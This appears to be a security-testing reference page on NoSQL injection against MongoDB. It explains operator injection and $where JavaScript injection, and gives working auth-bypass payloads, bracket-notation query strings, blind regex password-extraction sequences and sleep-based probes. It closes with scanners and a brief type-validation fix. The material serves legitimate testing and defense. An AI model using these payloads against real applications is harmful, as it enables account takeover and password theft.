Skip to content

NoSQL Injection

NoSQL databases (MongoDB most commonly) are not immune to injection. Two classes:

  1. Operator injection - submit MongoDB query operators ($ne, $gt, $regex) instead of literal values.
  2. JavaScript injection - abuse $where and mapReduce clauses that execute server-side JS.
// Auth bypass via operator injection
{"username": "admin", "password": {"$ne": null}}
{"username": {"$ne": null}, "password": {"$ne": null}}
// Regex extraction
{"username": "admin", "password": {"$regex": "^a"}}
// JavaScript injection ($where)
{"$where": "this.password.length > 20"}
{"$where": "sleep(5000)"}
Indicator
API accepts JSON bodies
Backend is Node.js / Express / Mongoose / Meteor
Errors mention MongoError, BSON, $where
URL parameters with bracket notation work: ?id[$gt]=0
27017 open on internal network scan

MongoDB operators are JSON keys starting with $. When an Express app passes req.body straight into a query:

db.users.findOne({ username: req.body.username, password: req.body.password })

A normal request:

{"username": "admin", "password": "letmein"}

The exploit:

{"username": "admin", "password": {"$ne": null}}

Mongo evaluates password: {$ne: null} as “password is not null” - true for any user. Result: logged in as admin without knowing the password.

OperatorMeaningUse
$neNot equalBypass exact-match checks
$gt, $ltGreater/less thanBypass numeric checks
$regexRegex matchExtract data char-by-char
$inIn arrayMatch any of multiple values
$existsField existsProbe schema
$whereRun JSArbitrary code execution

Express with the qs query-string parser converts bracket notation into nested objects:

GET /search?username=admin&password[$ne]=foo

becomes:

req.query = { username: "admin", password: { $ne: "foo" } }

If the app passes req.query to Mongo, this is operator injection without ever sending JSON. Test by changing any equality to bracket syntax:

?id=1 → ?id[$ne]=0
?username=admin → ?username[$ne]=

When you can’t see output but can detect login success:

{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
...
{"username": "admin", "password": {"$regex": "^l"}} // ← login succeeds
{"username": "admin", "password": {"$regex": "^le"}} // ← still succeeds
{"username": "admin", "password": {"$regex": "^let"}}

Each successful login confirms one more character. Like boolean blind SQLi, but the oracle is a regex prefix match.

Anchor with ^ for the start and $ for the end. Use .{N} to test specific lengths.

$where clauses evaluate JavaScript on the server:

{"$where": "this.username == 'admin' && this.password.length > 20"}

Conditions evaluate against each document. If the app builds the $where string from input:

db.users.find({$where: `this.username == '${req.body.username}'`})

Inject:

admin' || sleep(5000) || '
admin' || this.password.match(/^a/) || '
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"$where": "1==1"}
{"username": "admin", "password": {"$regex": ".*"}}

If any returns success when normal credentials don’t, it’s NoSQL injection.

  • NoSQLMap - automated detection and exploitation of MongoDB injection.
  • nosqli (https://github.com/Charlie-belmer/nosqli) - modern NoSQL injection scanner.
  • Burp Suite + manual payloads - most flexible for unusual cases.
  • “Parameterised queries” is the SQL fix; for NoSQL, the equivalent is type validation: reject non-string values for fields that should be strings. Mongoose schema definitions enforce this when used.
  • This page covers MongoDB. CouchDB, Cassandra, Redis, and others have their own injection patterns - generally less common.
  • Operator injection requires that the backend deserialises user input into nested objects before the query. Apps that explicitly cast inputs to strings are not vulnerable.